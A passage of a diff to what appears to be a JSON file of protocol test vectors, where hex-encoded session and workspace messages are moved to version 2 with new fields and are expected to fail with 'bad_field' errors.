323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030382c22746f6f6c556964223a32303030392c22776f726b7370616365476964223a32353030382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303035222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303035222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303036222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303036222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031322c22746f6f6c556964223a32303031332c22776f726b7370616365476964223a32353031322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303037222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303037222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031342c22746f6f6c556964223a32303031352c22776f726b7370616365476964223a32353031342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303038222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303038222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031362c22746f6f6c556964223a32303031372c22776f726b7370616365476964223a32353031362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031382c22746f6f6c556964223a32303031392c22776f726b7370616365476964223a32353031382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303130222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303130222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032302c22746f6f6c556964223a32303032312c22776f726b7370616365476964223a32353032302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303131222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303131222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032322c22746f6f6c556964223a32303032332c22776f726b7370616365476964223a32353032322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303132222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303132222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032342c22746f6f6c556964223a32303032352c22776f726b7370616365476964223a32353032342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303133222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303133222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032362c22746f6f6c556964223a32303032372c22776f726b7370616365476964223a32353032362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303134222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303134222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032382c22746f6f6c556964223a32303032392c22776f726b7370616365476964223a32353032382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303135222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303135222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033302c22746f6f6c556964223a32303033312c22776f726b7370616365476964223a32353033302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303136222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303136222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033322c22746f6f6c556964223a32303033332c22776f726b7370616365476964223a32353033322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-wrong-incarnation-in-item", "direction": "down", - "hex": "574d583101010000010000001a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000570600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-wrong-incarnation-in-message", "direction": "down", - "hex": "574d583101010000010000001a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000570600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-mixed-workspace", "direction": "down", - "hex": "574d583101010000010000004b0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f6f74686572222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000005c0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f6f74686572222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-mixed-lease-epoch", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644